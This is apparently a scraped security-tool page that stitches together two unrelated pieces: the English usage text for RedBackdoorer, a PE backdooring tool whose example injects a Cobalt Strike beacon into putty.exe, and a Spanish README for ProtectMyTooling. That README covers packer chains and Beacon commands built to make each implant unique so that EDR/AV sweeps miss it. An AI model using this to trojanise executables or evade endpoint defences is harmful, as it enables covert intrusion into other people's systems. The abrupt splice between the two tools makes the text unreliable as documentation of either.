░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

usage: RedBackdoorer.py [options]

options: -h, --help show this help message and exit

Required arguments: mode PE Injection mode, see help epilog for more details. shellcode Input shellcode file infile PE file to backdoor

Optional arguments: -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile. -v, --verbose Verbose mode.

Backdooring options: -n NAME, --section-name NAME If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw -i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.

Authenticode signature options: -r, --remove-signature Remove PE Authenticode digital signature since its going to be invalidated anyway.


PE Backdooring consists of two comma-separated options. First one denotes where to store shellcode, second how to run it:

root@kitploit:~
save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

Example:

root@kitploit:~
py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
root@kitploit:~
# Integración con Cobalt Strike

También hay un script que integra `ProtectMyTooling.py` usado como wrapper alrededor de Packer/Protectores de PE/.NET configurados para transformar fácilmente ejecutables de entrada en sus formas de salida protegidas y comprimidas, y luego cargarlos o usarlos desde CobaltStrike.

La idea es tener un proceso automatizado de protección de todos los binarios cargados o ensamblados .NET utilizados por execute-assembly y olvidarse de protegerlos u ofuscarlos manualmente antes de cada uso. El beneficio adicional de un enfoque automatizado para transformar ejecutables es la capacidad de tener el mismo ejecutable protegido cada vez que se usa, resultando en muestras únicas lanzadas en las máquinas objetivo. Eso debería engañar adecuadamente a los barridos de IOC a nivel empresarial de EDR/AV mientras buscan el mismo artefacto en diferentes máquinas.

Adicionalmente, el comando protected-execute-assembly tiene la capacidad de buscar ensamblados de los cuales solo se dio el nombre en un directorio de ensamblados preconfigurado (establecido en la configuración dotnet_assemblies_directory).

Para usarlo:

1. Cargue `CobaltStrike/ProtectMyTooling.cna` en su Cobalt Strike.
2. Vaya al menú y configure todas las opciones.

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Luego, en la consola de su Beacon tendrá los siguientes comandos disponibles:

  * `protected-execute-assembly` - Ejecuta un programa .NET local, previamente protegido y comprimido, en memoria en el objetivo.
  * `protected-upload` - Toma un archivo de entrada, lo protege si es un ejecutable PE y luego carga ese archivo a una ubicación remota especificada.
  * `bofnet_load_protected` - Toma un archivo de ensamblado .NET de entrada, lo pasa a través de la cadena de packers .NET configurada, carga la salida generada con `bofnet_load`. [BOFNET](https://github.com/CCob/BOF.NET/) necesita cargarse por separado para que esto funcione.

Básicamente, estos comandos abrirán archivos de entrada, los pasarán primero al script `CobaltStrike/cobaltProtectMyTooling.py`, que a su vez llama a `ProtectMyTooling.py`. Tan pronto como el binario se ofusque, se pasará a su beacon para su ejecución/carga.

## Opciones relacionadas con Cobalt Strike

Aquí hay una lista de opciones requeridas por el integrador de Cobalt Strike:

* `python3_interpreter_path` - Especifique una ruta al intérprete ejecutable de Python3
* `protect_my_tooling_dir` - Especifique una ruta al directorio principal de ProtectMyTooling
* `protect_my_tooling_config` - Especifique una ruta al archivo de configuración de ProtectMyTooling con varias opciones de packers
* `dotnet_assemblies_directory` - Especifique la ruta local donde se deben buscar los ensamblados .NET si no se encuentran mediante execute-assembly
* `cache_protected_executables` - Habilite para almacenar en caché los ejecutables ya protegidos y reutilizarlos cuando sea necesario
* `protected_executables_cache_dir` - Especifique una ruta a un directorio que debe almacenar los ejecutables protegidos en caché
* `default_exe_x86_packers_chain` - Cadena de protectores/packers para ejecutables EXE nativos x86
* `default_exe_x64_packers_chain` - Cadena de protectores/packers para ejecutables EXE nativos x64
* `default_dll_x86_packers_chain` - Cadena de protectores/packers para ejecutables DLL nativos x86
* `default_dll_x64_packers_chain` - Cadena de protectores/packers para ejecutables DLL nativos x64
* `default_dotnet_packers_chain` - Cadena de protectores/packers para ejecutables .NET

---

## Problemas conocidos

- `ScareCrow` es muy complicado de ejecutar desde Windows. Lo que funcionó para mí es lo siguiente:
  1. Ejecutar en Windows 10 y tener WSL instalado (comando `bash.exe` disponible en Windows)
  2. Tener `golang` instalado en WSL en la versión `1.16+` (probado en `1.18`)
  3. Asegurarse de tener configurado `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True`

---

## Créditos y tecnología utilizada

- Todos los créditos de packers, ofuscadores, conversores y loaders pertenecen a sus autores. ¡Esta herramienta es simplemente un wrapper alrededor de su tecnología!
  - Espero que a ninguno de ellos le moleste que agregue estos wrappers. Si hay inquietudes, comuníquese conmigo.
  
- _ProtectMyTooling_ también utiliza [`denim.exe`](https://github.com/moloch--/denim) de **moloch--** para algunos packers basados en Nim.

---

## TODO

- Escribir un inyector PE personalizado y ofrecerlo como "protector"
- Agregar marcas de agua a otros formatos de archivo como documentos de Office, scripts WSH (VBS, JS, HTA) y contenedores
- Agregar soporte para algunos otros Packer/Loaders/Generadores en un futuro próximo:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - dos variantes: una para shellcode de entrada, la otra para ejecutable

---

## Descargo de responsabilidad

El uso de esta herramienta, así como de cualquier otro proyecto del que soy autor, con fines ilegales, hacking no solicitado, ciberespionaje está estrictamente prohibido. 
Esta y otras herramientas que distribuyo ayudan a profesionales de Pruebas de Penetración, Consultores de Seguridad, Ingenieros de Seguridad y otro personal de seguridad a mejorar las capacidades de ciberdefensa de las redes de sus clientes.  
En ningún caso los autores o titulares de derechos de autor serán responsables por reclamos, daños u otra responsabilidad derivada del uso ilegal de este software.

Si hay inquietudes, problemas de derechos de autor, amenazas que plantea este software u otras consultas, estoy abierto a colaborar para abordarlas de manera responsable.

La herramienta expone una interfaz útil para usar software de packers/protectores/ofuscadores mayormente de código abierto o disponibles comercialmente, por lo tanto, no introduce ninguna amenaza inmediatamente nueva al panorama de la ciberseguridad tal como está.

---

### ☕ Muestra tu apoyo ☕

Este y otros proyectos son el resultado de noches sin dormir y **mucho trabajo duro**. Si te gusta lo que hago y aprecias que siempre devuelvo algo a la comunidad,
[Considera invitarme un café](https://github.com/sponsors/mgeeky) _(o mejor una cerveza)_ solo para darte las gracias! 💪 

---

## Autor```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky) 
Descargar herramienta